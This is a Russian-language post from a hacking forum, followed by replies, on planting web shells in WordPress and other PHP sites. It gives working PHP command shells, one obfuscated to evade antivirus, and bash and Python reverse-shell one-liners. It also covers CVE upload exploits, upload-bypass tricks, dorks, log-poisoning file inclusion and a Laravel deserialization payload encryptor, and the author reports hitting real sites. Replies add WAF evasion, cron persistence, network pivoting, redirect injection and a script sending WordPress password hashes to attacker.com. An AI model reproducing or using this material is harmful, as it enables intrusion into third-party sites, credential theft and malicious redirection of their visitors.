• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Шеллы, веб-шеллы и векторы

miserylord

RAID-массив
Пользователь
Регистрация
13.05.2024
Сообщения
97
Реакции
319
Автор: miserylord
Эксклюзивно для форума: xss.pro



Что такое веб-шелл?


Веб-сайты — знакомая вещь, не так ли? Но как они устроены внутри?

При открытии сайта в браузере отображаются связанные между собой HTML-документы, оформленные стилями CSS и оживленные JavaScript-сценариями. Это то, что доступно клиенту. А что скрывается за кулисами? Сервер.

Сервер — это не только физический компьютер, выполняющий код (хотя и это тоже). Это еще и программное обеспечение, которое генерирует динамические HTML-документы (серверный код). В более широком смысле, это программа, реализующая HTTP-протокол, и именно она выступает веб-сервером.

Серверный скрипт — это код на языке программирования (например, PHP, Python, Node.js), который выполняется в среде, поддерживающей HTTP-протокол и модель клиент-сервер. Такой код обрабатывает запросы от клиента, формирует ответы и взаимодействует с операционной системой сервера.

Этот мир не нами создан, но разобраться в нем вполне возможно.

Как это работает?

Представим цепочку: Операционная система → запускает веб-сервер → выполняет скрипт.

Обратный процесс: скрипт принимает данные от клиента (через HTTP-запросы). Эти данные могут содержать команды или методы, которые обрабатываются в контексте языка программирования скрипта. Скрипт же работает в рамках процесса веб-сервера, ограниченного возможностями операционной системы и ее инструментами.

Погрузимся в роль разработчика. Ты написал код, подключился к серверу, установил нужное ПО... И вот перед тобой — интерфейс терминала. Терминал — это мост, связывающий твое устройство с удаленным сервером. Даже если удаленность виртуальна (например, сервер стоит в соседней комнате), терминал остается интерфейсом для взаимодействия.

А что такое шелл?

Шелл — это, по сути, удаленный терминал. Это программа, которая позволяет взаимодействовать с операционной системой сервера, отправлять команды и получать результаты.

Веб-шелл идет дальше. Это скрипт, который добавляет веб-интерфейс к этому процессу. Вместо командной строки можно управлять сервером через браузер, отправляя команды через веб-форму или удобный интерфейс. Веб-шелл — это терминал, обернутый в веб-приложение.


Получение шелла на сайте с WordPress (PHP)


CMS WordPress — одна из самых популярных платформ для создания сайтов.

Админ-панель WordPress — ключ к управлению сайтом. Как в ней оказаться — первая часть, вторая, третья. Предположим, это некая CVE с повышением привилегий при регистрации, близко к реальности.

Что нужно знать для начала? Язык программирования, на котором работает WordPress, это PHP — и этого знания уже достаточно, чтобы начать.

Дальше открывается широкое поле для маневров.

Шелл — это скрипт, который нужно загрузить на сервер. Плагин wp-file-manager позволяет получить интерфейс для управления файлами и папками прямо из админ-панели WordPress без необходимости использования FTP или cPanel.

Можно сразу заметить файл wp-config.php, который содержит имя пользователя базы данных, пароль к базе данных и имя сервера базы данных (а также ниже уникальные ключи и соли для аутентификации; можно изменить их, чтобы сделать существующие файлы cookies недействительными). Он может дать альтернативный вектор, но в данном сценарии идем другим путем.

Попробуем получить шелл через загрузку файла, замаскированного под иконку изображения.

Можно создать файл shell.php с простым кодом:

PHP:
<?php
    if (isset($_POST['cmd'])) {
    system($_POST['cmd']);
                }
?>

Видишь? Антивирус ругается, можно предположить, что на публичные шеллы будет плохая реакция антивирусных программ.

Меняем на shell.ico (без дополнительного преобразования), загружаем в корень директории, через wp-file-manager становится понятно, что файл считывается сервером как php-файл.

При изучении файловой структуры сайта можно обнаружить файл .htaccess, что указывает на использование веб-сервера Apache.

На данном этапе можно сделать выводы:
  • Сайт работает на CMS WordPress, написанной на PHP.
  • Веб-сервер — Apache, о чем говорит наличие файла .htaccess.
  • Операционная система Linux (это станет ясно позже).
Важно отметить, что WordPress всегда использует PHP, но веб-сервер может быть не только Apache, а, например, Nginx. Также сервер может работать не только на Linux, но и на Windows (например, через XAMPP). Однако в данном случае предполагается типичная связка: Linux + Apache + PHP.

Файл .htaccess — это конфигурационный файл Apache, который управляет обработкой запросов. Чтобы сервер интерпретировал файлы с расширением .ico как PHP-скрипты, можно добавить строку: AddType application/x-httpd-php .ico

Обновленный файл .htaccess может выглядеть так:
Код:
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteCond %{REQUEST_URI} !^/favicon\.ico$
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

<IfModule mod_mime.c>
AddType application/x-httpd-php .ico
</IfModule>
# END WordPress

Стучимся по /favicon.ico?cmd=whoami, в ответ получаем битую картинку.

Упрощение подхода. Стоит попробовать другой вектор. Создается новый файл ishell.php с кодом:
PHP:
<?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>

Запрос по адресу /ishell.php?cmd=whoami возвращает имя пользователя, от которого запущен процесс веб-сервера. Ожидается увидеть www-data (типичный пользователь для Apache на Linux), но результат другой. Это наводит на мысль, что используется виртуальный хостинг.

Команда cat%20/etc/passwd подтверждает догадки: это действительно виртуальный хостинг. Логины могут быть паролями. Ключей не видно. Скриншот слишком явно укажет на сервер.

Перейдем к получению реверс-шелла, то есть к управлению не через браузерную строку, а через третий сервер (опять слово сервер, на этот раз в контексте личного устройства для управления целевым).

Для этого используется утилита NetCat. На управляющем сервере выполняется команда: nc -lvp 4444. На целевом сервере (через строку браузера) пробуется команда: bash%20-i%20%3E%26%20/dev/tcp/192.168.1.100/4444%200%3E%261. Ничего не происходит.

Пробуем иначе. Устанавливаем, какие языки поддерживает операционная система, команда: which%20bash%20sh%20nc%20netcat%20python%20python3%20perl%20php.

Возвращает:

Код:
/usr/bin/bash
/usr/bin/sh
/usr/bin/python
/usr/bin/python3
/usr/bin/perl
/usr/bin/php

Это значит, что доступны Python, Perl, PHP и Bash. Можно попробовать другой подход. На управляющем сервере: nc -lvp 4411. На клиенте (через браузер): python3%20-c%20'import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.100",4411));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Успех! Реверс-шелл установлен, и теперь можно управлять сервером через NetCat.

Вернемся на несколько шагов назад и проанализируем код:
PHP:
<?php
if(isset($_REQUEST['cmd'])) {
    echo "<pre>";
    system($_REQUEST['cmd']);
    echo "</pre>";
}
?>

Этот код проверяет, передан ли параметр cmd в запросе. Если параметр cmd существует, его содержимое выполняется как системная команда через функцию system(). Результат выполнения команды выводится в теге pre.

Получается, что любой, зная параметр и маршрут, может вызвать удаленное выполнение кода. Это недопустимо.

Изменим код, добавив защиту по токену:

PHP:
<?php
$secret_token = "secret";
if (isset($_REQUEST['cmd']) && isset($_SERVER['HTTP_AUTH_TOKEN']) && $_SERVER['HTTP_AUTH_TOKEN'] === $secret_token) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
} else {
http_response_code(403);
echo "Unauthorized access.";
}
?>

Защита не позволяет сохранить файл?

PHP:
<?php
$e = str_rot13('flfgrz');
$p = chr(112).chr(114).chr(101);
if(isset($_REQUEST[base64_decode('Y21k')])) {
echo "<$p>";
$e($_REQUEST[base64_decode('Y21k')]);
echo "</$p>";
}
?>

А теперь?


По поводу вектора — он действительно может быть иным. Часто в ответ на запрос "How to upload shell on WordPress?" предлагается использовать модуль Metasploit.
Он использует другой вектор атаки. Исходный код модуля доступен по ссылке: https://github.com/rapid7/metasploi...exploits/unix/webapp/wp_admin_shell_upload.rb

Речь идет о взломанном плагине. В самом коде модуля нет пейлода — насколько я понимаю, он берётся из php/meterpreter/reverse_tcp.

Названия плагинов выбираются случайным образом, но будет похож на wp-content/plugins/[a-zA-Z]{10} (в Fofa нет возможности к регулярке).


Загрузка файла в WordPress (CVE-2025-4403)


Теоретически загрузка файлов — это тот же процесс, что описан выше, только осуществляется не через плагин или админ-панель, а с помощью кнопки на сайте. Однако на практике этот процесс может быть гораздо более сложным.

Согласно описанию уязвимости CVE-2025-4403 на сайте Wordfence уязвимость присутствует в плагине Drag and Drop Multiple File Upload for WooCommerce (это плагин, расширяющий функциональность WooCommerce, поэтому для его корректной работы сначала необходимо установить WooCommerce, а затем — сам плагин). Уязвимость затрагивает версии до 1.1.6. В описании фигурирует параметр supported_type, при этом MIME-тип загружаемого файла не проверяется должным образом.

Код плагина довольно простой — он буквально просто загружает файлы. Возможно, не стоит задумываться о том, какие бизнес-задачи он решает. Его функциональность позволяет добавить на страницу товара кнопку для загрузки нескольких файлов до того, как товар будет помещён в корзину. У плагина тысячи установок — это любопытно, но главное для нас сейчас — понять, как реализована загрузка и как можно использовать этот функционал для тестирования.

Из changelog, в частности из этого коммита: WordPress.org следует, что на фронтенде реализована некая проверка. Перехватываем запрос с помощью Burp Suite и отправляем его вручную, обходя фронтенд. Загружаем изображение и определяем путь загрузки: wp-content/uploads/wc_drag-n-drop_uploads/1.jpg.

А вот и сам запрос.

Screenshot_1.png



Меняем supported_type на php, загружаем файл с расширением .php, указываем MIME-тип и пейлоад . Однако получаем ошибку: "Uploaded file is not allowed for file type".

Screenshot_2.png



Изучаю код ещё раз — вроде бы всё должно работать. Пробую различные расширения: .php3, .phar, экспериментирую с кодировками, проверяю невалидный nonce, чтобы понять, что ошибка действительно связана с типом файла. Меняю Content-Type между application/x-php и image/jpeg — и снова получаю ту же ошибку: "Uploaded file is not allowed for file type".

Уязвимость достаточно свежая. Есть ли под неё готовый эксплоит? Внезапно — да: https://github.com/Yucaerin/CVE-2025-4403.
Вот и обход:

Screenshot_3.png


Файл загружен! Победа… ну, почти 🙂

Для успешной эксплуатации сервер должен быть либо слабо сконфигурирован, либо на нём должен быть установлен другой уязвимый плагин, позволяющий удалять файлы. На сервере, где я провожу тесты, в директории появляется файл .htaccess со следующим содержимым:


Код:
Options -Indexes
<Files *.php> deny from all </Files>

Загрузка файла в WordPress (CVE-2024-8425)


Эксплоиты под недавние CVE нечасто появляются в открытом доступе, однако теперь я начинаю анализ именно с их поиска. Для CVE-2024-8425 доступен публичный эксплоит: https://github.com/KTN1990/CVE-2024-8425/blob/main/WUGC.py

Особенность в том, что уязвимость относится к проприетарному плагину, поэтому изучение реализации особенно интересно.

Код эксплоита работает в многопоточном режиме. Проверка осуществляется по CSS-файлу (определяя наличие mwb_wgm_setting, но без проверки версии — не уверен, насколько это корректно).

MIME-тип — image/gif, а сам шелл представляет собой интерфейс формы для загрузки новых файлов на сервер.

Уязвимость актуальна для версий ≤ 2.6.0. На момент написания самая свежая версия — больше 6, а минимальная, с которой я сталкивался, — около 4.


И еще немного загрузки файла в WordPress (CVE-2024-13744)


Добавлю также, что плагины WordPress сильно отличаются по функциональности. Например, уязвимость CVE-2024-13744 затрагивает плагин, расширяющий функционал WooCommerce, схожий на CVE-2025-4403. Из комментариев WordPress.org в коде становится понятно, что речь идёт о функционале пользовательских полей (Validate_product_input_fields_on_add_to_cart).

В настройках плагина можно включить опцию Checkout Files Upload, которая добавляет возможность загрузки файлов на странице оформления заказа.

Однако загружаемые файлы не сохраняются на сервере в открытом виде, к которому можно получить прямой доступ. Они доступны только через интерфейс админ-панели или посредством GET-запроса по специальному ключу. Насколько можно судить, файлы хранятся в бинарном или схожем формате и не исполняются напрямую на сервере.


Загрузка файлов [exploit-db]


Уязвимость загрузки файлов — это распространённая уязвимость, выходящая за рамки только WordPress.

Для изучения её особенностей можно ознакомиться с кодом готовых эксплойтов.

В уязвимости CVE-2024-27747, согласно PoC: Petrol Pump Management Software v1.0 - Remote Code Execution via File Upload - PHP remote Exploit, загрузка шелла происходит через поле "Фото" без каких-либо дополнительных проверок.
В эксплойте: Real Estate Management System v1.0 - Remote Code Execution via File Upload - PHP remote Exploit уязвимость проявляется на странице регистрации. Шелл сохраняется в формате avatar.php, затем его расширение меняется на .png, после чего файл загружается как изображение, далее PoC описывает перехват запроса на регистрацию и изменение расширения обратно на .php.

В другом эксплойте рассматривается эндпоинт смены изображения: Tourism Management System v2.0 - Arbitrary File Upload - PHP webapps Exploit.

Пример ещё одного эксплойта: Wallos < 1.11.2 - File Upload RCE - PHP webapps Exploit.

Несколько важных моментов:
  • Content-Disposition — это HTTP-заголовок, указывающий, как следует интерпретировать или обрабатывать тело сообщения. form-data используется при отправке форм с типом multipart/form-data.
  • MIME-тип — это стандарт описания типа содержимого. Content-Type — это HTTP-заголовок, определяющий MIME-тип содержимого запроса или ответа.

1-day File Upload

Большинство уязвимостей типа file upload сопровождаются достаточно наглядными PoC — практически готовыми эксплойтами. Поэтому не вижу особого смысла разбирать их подробно.
Оставлю несколько ссылок:

Тестирование в холодную (загрузка файлов)


Дорки:
  • inurl:register.php "upload"
  • inurl:signup.php "upload"

Чтобы однозначно понимать, что мы работаем с сайтами на PHP, добавляем .php. После слова "upload" можно произвольно добавить категорию.

Другим подходом может быть поиск сайтов определённой категории, где происходит загрузка файлов — например, сайты знакомств, социальные сети, платформы с верификацией для предоставления услуг.

Регистрируемся для изучения процесса и анализируем запросы. Важно понимать не только сам факт загрузки файла, но и то, где именно он сохраняется. Иногда сервер возвращает ссылку в ответе, иногда — нет.

Потенциальные векторы атаки:

  • Замена расширения на .php, содержимое файла — php phpinfo(); die(); __halt_compiler();
  • Смена Content-Type (text/plain, application/x-php, application/octet-stream)
  • Проверка различных расширений: .php3, .png.php, .pHp, ..php и другие
  • URL-кодирование: %2E%2E%2Fexploit.php
  • Magic Bytes
Проверено 20 сайтов. Результаты тестов.

Успешно:
  • 2 сайта — успешная загрузка файла с расширением .php и кодом phpinfo(). В ответ — страница с информацией о PHP.
    Частично успешно:
  • 1 сайт — успешная загрузка файла с расширением .png.php, однако PHP-код не исполняется (сервер предварительно обрабатывает файл).
  • 1 сайт — файл загружается, но сервер очень медленно отвечает. Попытка смены метода запроса на GET с теми же параметрами дала ошибку.
Неудачи:
  • 1 сайт — хорошая валидация, не даёт загрузить PHP-файл ни одним из способов.
  • 1 сайт — WAF (ModSecurity).
  • 1 сайт — использует Amazon S3 для хранения файлов.

Остальное:
  • 9 сайтов — невозможно установить, куда сохраняются файлы / нет никакой обратной связи / требуется подтверждение регистрации администратором (много сайтов из B2B-сегмента).
  • 4 сайта — неработоспособны должным образом (вероятно, дорка собирают мусор за счёт наличия .php в URL. В целом, оставлять .php в URL — сомнительная практика).

Шелл через лог-файл (Log Injection + Local File Inclusion) в PHP


Идея очень проста: на сервисе существует лог-файл, в который, неожиданно, пишутся логи :) Этот файл создаётся для отладки. Если происходит какая-либо ошибка, она должна попасть в лог-файл.

Как вызвать ошибку? Можно использовать пейлод system($_GET['cmd']); в заголовке User-Agent. Сервер логирует значение User-Agent в файл access.log. Проверка через &cmd=id. Если лог-файл подключается через include() или require() в PHP, то код из него будет исполнен. Если же файл просто читается, например, с помощью echo file_get_contents(), то произойдёт только вывод содержимого без выполнения кода.

Почему это LFI? Потому что лог-файл — это локальный файл.

Дорка: inurl:".php?page=" buy

Далее перебираем возможные пути к лог-файлам, например:
/var/log/access.log или /var/log/error.log.

Пейлод — в заголовки, проверка — через &cmd=id.

Чтобы определить путь до логов, желательно заранее понимать, на чём работает сервер и где могут храниться такие файлы. При подобной слепой проверке чаще встречаются SQL-инъекции, чем LFI.


Шелл через инъекцию объекта PHP


Еще один вектор получения шелла, который мне до конца освоить не удалось, но все же хочу его упомянуть. Его можно увидеть в этой лабе - Lab: Exploiting PHP deserialization with a pre-built gadget chain | Web Security Academy

Я разбирал тему инъекций объектов PHP (или небезопасной сериализации) в одной из статей. Кратко: если сервер принимает объект в виде строки (например, в формате base64), а затем преобразует его в памяти обратно в объект — к этому объекту можно прикрепить пейлод, вызывающий определённые методы. Однако всё это происходит в рамках текущего кода приложения — нельзя просто выполнить произвольный код, лишь тот, что уже заложен в классы.

Через дорку типа https://www.exploit-db.com/ghdb/6683 с фильтром ext:env можно найти страницы вроде /.env.
Найденный файл .env указывать на использование Laravel, хотя для уверенности стоит проверить дополнительно.

Теперь можно сказать точно — это Laravel

Screenshot_4.png


В Laravel переменная APP_KEY используется как секретный ключ для симметричного шифрования внутри приложения. Проще говоря, это что-то вроде приватного ключа: всё, что подписано с его помощью, считается валидным. В том числе куки, включая laravel_session.

PHPGGC — это инструмент, который генерирует сериализованные объекты на основе известных цепочек классов популярных PHP-библиотек и фреймворков. Такие объекты могут выполнить произвольный код при десериализации.

Laravel сериализует объекты в строки и шифрует их через AES-256-CBC. На сервере происходит расшифровка и unserialize().

Порядок действий:
  • Сформировать пейлод через PHPGGC.
  • Зашифровать его с использованием APP_KEY, найденного в .env.
  • Отправить обратно приложению — при расшифровке и unserialize() произойдёт RCE.
Команда - phpggc Laravel/RCE1 system 'id' -o payload.txt

Затем используем шифратор (написан при помощи GPT, возможно, тут есть ошибки — не уверен, что он работает корректно):

Python:
import base64
import os
from Crypto.Cipher import AES

# Laravel APP_KEY (удали "base64:")
app_key_b64 = ''
key = base64.b64decode(app_key_b64)

# Загрузи payload
with open('payload.txt', 'rb') as f:
plaintext = f.read()

# PKCS7 padding
def pad(data):
pad_len = 16 - (len(data) % 16)
return data + bytes([pad_len]) * pad_len

# IV для AES-CBC
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(plaintext))

# Laravel формат: base64(iv + ciphertext)
final = base64.b64encode(iv + ciphertext).decode()
print(f"Encrypted Laravel payload:\n{final}")

Полученную строку подставляем в куку laravel_session. Хотя сервер может и не вернуть ничего в ответ — это тоже возможно. Но по логике должен. Проводил тесты с различными командами.

Возможно, вы уже обратили внимание, но команда phpggc Laravel/RCE1 system 'id' -o payload.txt вряд ли сработает, так как он рассчитан на версии Laravel 5.4.27. Маловероятно, что у случайного сайта окажется именно такая версия прям до патча.

Чтобы проверить версию Laravel, можно попробовать получить /composer.json. В моем случае сервер выдал этот файл, и в нем указано: "laravel/framework": "5.8.*"

Соответственно, стоит попробовать цепочки Laravel/RCE10, Laravel/RCE4, Laravel/RCE6. Тем не менее, я так и не увидел в ответе вывод команды id, хотя сам вектор атаки кажется очень перспективным.


Другие веб-шеллы


У каждого языка программирования, на котором может быть написан сервер, есть свои особенности, но практически любой из них может быть использован для создания веб-шелла. На PHP существует множество примеров.

У Node.js есть свои особенности: URL-адреса не отображаются напрямую на пути в файловой системе, а загруженный файл, как правило, не исполняется автоматически. Кроме того, мало кто пишет серверы на чистой Node.js — обычно используются различные фреймворки и библиотеки.

Тем не менее, предположим, что существует следующий сервер:
JavaScript:
    const http = require('http');
const fs = require('fs');
const path = require('path');
const formidable = require('formidable');
const { exec } = require('child_process');

const UPLOAD_DIR = './uploads';
const PORT = 3000;

if (!fs.existsSync(UPLOAD_DIR)) {
  fs.mkdirSync(UPLOAD_DIR);
}

http.createServer((req, res) => {
  if (req.url === '/' && req.method === 'GET') {
    res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
    res.end(`
      <h3>Web Shell Upload</h3>
      <form method="POST" action="/upload" enctype="multipart/form-data">
        <input type="file" name="file" accept=".js" />
        <button type="submit">Upload</button>
      </form>
    `);

  } else if (req.url === '/upload' && req.method === 'POST') {
    const form = new formidable.IncomingForm({
      uploadDir: UPLOAD_DIR,
      keepExtensions: true,
      maxFileSize: 100 * 1024,
    });

    form.parse(req, (err, fields, files) => {
      if (err) {
        res.writeHead(500, { 'Content-Type': 'text/plain' });
        return res.end('Error uploading file');
      }

      const file = files.file?.[0];
      if (!file) {
        res.writeHead(400, { 'Content-Type': 'text/plain' });
        return res.end('File not uploaded');
      }

      const filename = path.basename(file.newFilename);
      res.writeHead(200, { 'Content-Type': 'text/html' });
      res.end(`File ${filename} uploaded. <a href="/shell?file=${filename}">Open Shell</a>`);
    });

  } else if (req.url.startsWith('/shell?')) {
  const url = new URL(req.url, `http://${req.headers.host}`);
  const filename = url.searchParams.get('file');
  const filePath = path.join(__dirname, UPLOAD_DIR, filename);

  if (!fs.existsSync(filePath)) {
    res.writeHead(404, { 'Content-Type': 'text/plain' });
    return res.end('File not found');
  }

  try {
    delete require.cache[require.resolve(filePath)];
    const shellScript = require(filePath);

    if (typeof shellScript !== 'function') {
      res.writeHead(500, { 'Content-Type': 'text/plain' });
      return res.end('Script must export a function');
    }

    const html = shellScript();
    res.writeHead(200, { 'Content-Type': 'text/html' });
    res.end(html);
  } catch (e) {
    res.writeHead(500, { 'Content-Type': 'text/plain' });
    return res.end(`Script error: ${e.message}`);
  }
}
 else if (req.url === '/exec' && req.method === 'POST') {
    let body = '';
    req.on('data', chunk => { body += chunk.toString(); });
    req.on('end', () => {
      const { command } = JSON.parse(body);
      if (!command) {
        res.writeHead(400, { 'Content-Type': 'text/plain' });
        return res.end('No command specified');
      }

      exec(command, (error, stdout, stderr) => {
        if (error) {
          res.writeHead(500, { 'Content-Type': 'text/plain' });
          return res.end(`Error: ${stderr}`);
        }
        res.writeHead(200, { 'Content-Type': 'text/plain' });
        res.end(stdout || 'Command executed');
      });
    });

  } else {
    res.writeHead(404, { 'Content-Type': 'text/plain' });
    res.end('404');
  }
}).listen(PORT, () => {
  console.log(`Server running at http://localhost:${PORT}`);
});

Файл веб-шелла будет выглядеть так:

JavaScript:
module.exports = function () {
  return `
    <!DOCTYPE html>
    <html lang="en">
    <head>
      <meta charset="UTF-8">
      <title>Shell</title>
      <style>
        body {
          font-family: monospace;
          background: #1a1a1a;
          color: #0f0;
          padding: 2rem;
          margin: 0;
        }
        h2 {
          color: #0f0;
          text-align: center;
        }
        .container {
          max-width: 800px;
          margin: auto;
        }
        .shell-section {
          margin: 1rem 0;
          padding: 1rem;
          background: #222;
          border: 1px solid #0f0;
          border-radius: 4px;
        }
        input[type="text"], button {
          padding: 0.5rem;
          margin: 0.5rem;
          background: #333;
          color: #0f0;
          border: 1px solid #0f0;
          border-radius: 4px;
        }
        button {
          cursor: pointer;
        }
        button:hover {
          background: #555;
        }
        .output {
          background: #000;
          padding: 1rem;
          border: 1px solid #0f0;
          border-radius: 4px;
          white-space: pre-wrap;
          min-height: 200px;
          margin-top: 1rem;
        }
      </style>
    </head>
    <body>
      <div class="container">
        <h2>C99-like Shell</h2>
        <div class="shell-section">
          <h3>Execute Command</h3>
          <input type="text" id="commandInput" placeholder="Enter command (e.g., whoami)">
          <button onclick="runCommand()">Execute</button>
          <div id="shellOutput" class="output">Results will appear here...</div>
        </div>
      </div>

      <script>
        async function runCommand() {
          const commandInput = document.getElementById('commandInput');
          const output = document.getElementById('shellOutput');
          const command = commandInput.value.trim();

          if (!command) {
            output.textContent = 'Please enter a command';
            return;
          }

          try {
            const res = await fetch('/exec', {
              method: 'POST',
              headers: { 'Content-Type': 'application/json' },
              body: JSON.stringify({ command })
            });
            const text = await res.text();
            output.textContent = text;
          } catch (e) {
            output.textContent = 'Error: ' + e.message;
          }
        }
      </script>
    </body>
    </html>
  `;
};
Разумеется, в каждый язык необходимо погружаться отдельно. На PHP подобные вещи реализуются нагляднее и проще.

Возможно, этот текст получился немного сумбурным и не раскрыл всех аспектов, но материалов на эту тему не так уж и много.

Трям! Пока!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
А просто собрать фейковый плагин для %CMS_NAME% с нужными сразу скриптами и поставить через стандартный модуль установки в админке уже не катит?
Гайд в студию
 
Гайд в студию
Скачать любой плагин (ну раз уж мы про WP), докинуть в архив нужные скрипты и поставить, раз уж задача именно шелл закинуть, имхо если у тебя unauthorized file upload или, еще лучше, сразу RCE - даже нет смысла заморачиваться, в последнем тебе шелл, по сути, даже закидывать не надо, а с file upload - не забывай удалять полезную нагрузку.

Есть еще баянистый способ - закинуть свой плагин с бэкдором в стор , но это писец какая другая история и гайда не будет)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Считаю что тема "работы" с веб-шеллами не раскрыта. У статьи должно быть другое название "............" Так как не увидел менеджера веб-шеллов, который нужен чтобы управлять всеми скомпрометированными сайтами. Тот же вебтунель можно поднять на веб-шелле (vpn) для плацдарма атак на другие сайты и не только. Ну и так же чтобы рутануть линукс сервак. Но в основном это работа с менеджером веб-шеллов. Обычно когда заливается веб-шелл там рутают сервак и в добавок заливается инфреймер.sh (который отталкивает от прав на директории) им же инжектят код во все страницы сайта, чтобы перенаправлять пользователей на TDS. (Более умные ифреймы могут менять линк по запросу от менеджера) Ну а если еще и есть рут доступ можно скомпилировать свой php-модуль на Си, пых расширение в виде руткита и перезапустить всё, чтобы получить персистентность. На гитхаб видел какой-то post-exploitation инструмент для работы с сайтами который использовался китайскими APT https://github.com/AntSwordProject/antSword который по сути является менеджером веб-шеллов (агентов). Думаю что на рынку не хватает подобных инструментов, я говорю про "менеджеры веб-шеллов" ну и TDS какой нибудь нормальной, а то все сутру юзают.
 
Считаю что тема "работы" с веб-шеллами не раскрыта. У статьи должно быть другое название "............" Так как не увидел менеджера веб-шеллов, который нужен чтобы управлять всеми скомпрометированными сайтами. Тот же вебтунель можно поднять на веб-шелле (vpn) для плацдарма атак на другие сайты и не только. Ну и так же чтобы рутануть линукс сервак. Но в основном это работа с менеджером веб-шеллов. Обычно когда заливается веб-шелл там рутают сервак и в добавок заливается инфреймер.sh (который отталкивает от прав на директории) им же инжектят код во все страницы сайта, чтобы перенаправлять пользователей на TDS. (Более умные ифреймы могут менять линк по запросу от менеджера) Ну а если еще и есть рут доступ можно скомпилировать свой php-модуль на Си, пых расширение в виде руткита и перезапустить всё, чтобы получить персистентность. На гитхаб видел какой-то post-exploitation инструмент для работы с сайтами который использовался китайскими APT https://github.com/AntSwordProject/antSword который по сути является менеджером веб-шеллов (агентов). Думаю что на рынку не хватает подобных инструментов, я говорю про "менеджеры веб-шеллов" ну и TDS какой нибудь нормальной, а то все сутру юзают.
Зачем так все сложно?)
Рутовать сервак, ну мы же не в 2010, когда enlightenment рулил и педалил) Это круто, но сложно (LPE в паблике полторы штуки актуальных), сливать трафф можно и без рута, условно: грепнуть по php файлам наличие какого-нибудь </body>.
Менеджер WSO валяется в нете, допилить под себя - дело не хитрое, но свою реализацию не дам, тут речь скорее не о полноценных шеллах аля творение Орба, а о комманд экзеках.
 
То, что можно было бы лучше проработать в статье, это как обойти WAF и системы обнаружения, такие как ModSecurity. Эти системы обычно ищут определённые сигнатуры в запросах, например, слова вроде system() или exec() в PHP-коде. Чтобы их обойти, можно использовать техники обфускации. Например, вместо system($_GET['cmd']) можно разбить код на несколько косвенных функций. Вот пример простого кода:

PHP:
<?php

$func = strrev('metsys');

$func($_GET['cmd']);

?>

Или, например, использовать другие функции, такие как call_user_func(), которые реже попадают под радары WAF. Ещё один способ... кодировать входные данные (например, в Base64) и декодировать их на сервере, чтобы запрос выглядел как обычные данные.
Один момент, которому уделяется мало внимания, заключается в том, что веб-шелл нужен не только для выполнения команд на сервере. Его можно использовать как точку прыжка (Pivot) для атаки на внутреннюю сеть. Например, если сервер находится в сети DMZ, с помощью инструментов вроде curl или wget в веб-шелле можно начать сканирование внутренней сети.
Bash:
curl -s http://192.168.1.0/24 | grep "200 OK"
Или даже написать PHP-скрипт, который сканирует открытые порты. Так можно узнать, какие ещё сервисы (например, RDP или SMB) доступны во внутренней сети, и пойти за ними. Один важный момент, который в твоих текстах упомянут лишь вскользь, это как сделать веб-шелл устойчивым, чтобы даже после перезапуска сервера или если админ найдёт твой файл, ты всё равно сохранил доступ. Крутой способ... создать Cron Job. Например, написать PHP-скрипт, который каждые 5 минут проверяет, на месте ли веб-шелл, а если его нет... заново загружает...
PHP:
<?php
$shell_path = '/var/www/html/ishell.php';
if (!file_exists($shell_path)) {
    file_put_contents($shell_path, '<?php system($_GET["cmd"]); ?>');
}
?>
Затем добавляешь это в Cron Job на сервере. Или даже можно внедрить бэкдор в основные файлы WordPress (например, в wp-includes/functions.php), чтобы его было сложнее обнаружить... Ещё одно применение веб-шелла — это возможность незаметно вытягивать данные с сервера. Например, вместо рискованных команд вроде cat /etc/passwd можно написать PHP-скрипт, который читает базу данных WordPress и отправляет результат на удалённый сервер.
PHP:
<?php
$db = new PDO('mysql:host=localhost;dbname=wordpress', 'username', 'password');
$stmt = $db->query('SELECT user_login, user_pass FROM wp_users');
while ($row = $stmt->fetch()) {
    file_get_contents('http://attacker.com/log.php?data=' . urlencode($row['user_login'] . ':' . $row['user_pass']));
}
?>

Таким образом, данные уходят постепенно, и меньше шансов, что админ что-то заметит...
 
altof способ взлома или получения оболочки на веб-сайте для эксплуатации много эксплойтов вам нужно сделать свою полезную нагрузку
вы можете сделать свой скрипт на python для сканера или эксплойта как этот
бот | wordpress auto эксплойт
RCE EXPLOITER
BRUTE FORCE
ПОИСК НЕКОТОРЫХ ПАНЕЛЕЙ ЧЕРЕЗ ЖУРНАЛЫ

для wso shell теперь трудно загрузить ваш php-файл вам нужно сделать сильный webshell .php обход всех обходных WAF и систем обнаружения, таких как ModSecurity .htacess
 
Гайд в студию
p1r0man озвучил отличный совет - Такой плагин можно и на фрилансе заказать под ваши нужды.

пс: или можете скачать наш плагин и устанавливать на WP админки, монетизация трафика и тд.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх